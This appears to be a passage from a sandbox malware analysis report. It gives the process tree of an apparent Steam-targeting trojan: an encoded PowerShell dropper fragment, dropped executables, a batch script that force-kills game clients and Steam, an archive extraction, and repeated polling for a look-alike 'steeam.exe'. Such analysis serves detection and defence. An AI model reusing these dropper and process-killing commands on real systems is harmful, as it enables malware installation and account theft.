AAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHEAdQBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwBpAGQAegAjAD4A"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4292
- - C:\Users\Admin\AppData\Roaming\h1jessfo.kil0.exe
    "C:\Users\Admin\AppData\Roaming\h1jessfo.kil0.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:1332
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\2231.tmp\2232.tmp\2233.bat C:\Users\Admin\AppData\Roaming\h1jessfo.kil0.exe"
      4⤵
      PID:3268
    - - C:\Windows\system32\chcp.com
        
        chcp 1251
        5⤵
        
        PID:2340
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 store.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:3548
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 steamcommunity.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:4988
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 help.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:3248
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /query /tn "MyBatchScript"
        5⤵
        
        PID:1472
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        5⤵
        
        PID:3368
      - C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        6⤵
        
        PID:4448
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
        5⤵
        
        PID:3456
      - C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
        6⤵
        
        PID:4436
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:744
    - - C:\Windows\system32\find.exe
        
        find /i "tf_win64.exe"
        5⤵
        
        PID:4980
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im tf_win64.exe
        5⤵
        Kills process with taskkill
        
        PID:3752
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:512
    - - C:\Windows\system32\find.exe
        
        find /i "dota2.exe"
        5⤵
        
        PID:2936
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im dota2.exe
        5⤵
        Kills process with taskkill
        
        PID:1852
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:2888
    - - C:\Windows\system32\find.exe
        
        find /i "cs2.exe"
        5⤵
        
        PID:4172
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im cs2.exe
        5⤵
        Kills process with taskkill
        
        PID:448
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:2752
    - - C:\Windows\system32\find.exe
        
        find /i "RustClient.exe"
        5⤵
        
        PID:4992
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im RustClient.exe
        5⤵
        Kills process with taskkill
        
        PID:2424
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:4708
    - - C:\Windows\system32\find.exe
        
        find /i "GTA5.exe"
        5⤵
        
        PID:4532
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im GTA5.exe
        5⤵
        Kills process with taskkill
        
        PID:4172
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:3484
    - - C:\Windows\system32\find.exe
        
        find /i "TslGame.exe"
        5⤵
        
        PID:1360
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im TslGame.exe
        5⤵
        Kills process with taskkill
        
        PID:4796
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:4324
    - - C:\Windows\system32\find.exe
        
        find /i "RainbowSix.exe"
        5⤵
        
        PID:1804
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im RainbowSix.exe
        5⤵
        Kills process with taskkill
        
        PID:448
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 3
        5⤵
        
        PID:3252
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:5656
    - - C:\Windows\system32\find.exe
        
        find /i "steam.exe"
        5⤵
        
        PID:5672
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im steam.exe
        5⤵
        Kills process with taskkill
        
        PID:5832
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 3
        5⤵
        
        PID:5860
    - - C:\Windows\system32\tar.exe
        
        tar -xf "C:\Users\Admin\AppData\Local\Temp\downloaded_archive.rar" -C ""
        5⤵
        
        PID:744
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5268
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5248
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5344
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:5484
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5324
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:3924
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5536
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5608
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5708
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5624
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5692
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5888
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:6016
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6124
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6104
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:2564
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:4980
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:4304
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5444
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:3956
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5564
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5552
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5544
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5616
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5772
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5788
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5680
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5824
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5984
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5980
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5996
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:2188
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:1804
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5328
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:3956
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5496
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5700
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5708
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5656
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:5776
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5976
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6112
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5740
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5164
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5724
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5592
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5804
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5128
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5148
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:2752
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:800
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4540
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:6392
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6600
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6760
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5720
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:7028
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6560
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6468
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:6248
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:6948
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6996
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6388
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5184
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:508
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6540
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6500
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1616
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5708
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:2796
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5832
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5580
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:6932
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6388
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6024
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:6648
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5696
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6360
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:7064
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4132
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:1948
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5344
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6936
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:6032
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:2084
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6580
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6364
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:5976
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:1004
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5548
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5128
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5308
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:4660
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:7012
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5716
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:7124
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:6792
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:3544
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5128
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3724
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5548
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:4540
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:4976
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5252
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:6020
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6528
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6452
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:7644
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:7640
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:1568
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:7828
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:7064
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:7728
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:7796
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6884
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:7788
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:6500
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:7172
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:7252
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:2424
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:8108
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6052
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:8112
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:6936
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:7964
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6376
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:7880
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:6560
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:544
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6168
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:1108
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:6340
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:7724
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:2612
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6744
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:1384
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:2624
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:7420
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:7668
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:7068
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:6744
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5388
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:1108
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:7752
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:7532
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:7808
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5700
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:8128
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:7576
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:8048
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:7620
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1032
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:8112
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6340
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:8088
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:7948
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5676
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:7748
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6792
- - C:\Users\Admin\AppData\Roaming\h1jessfo.kil1.exe
    "C:\Users\Admin\AppData\Roaming\h1jessfo.kil1.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:3504
- - C:\Users\Admin\AppData\Roaming\h1jessfo.kil2.exe
    "C:\Users\Admin\AppData\Roaming\h1jessfo.kil2.exe"
    3⤵
    - Executes dropped EXE
    PID:4740
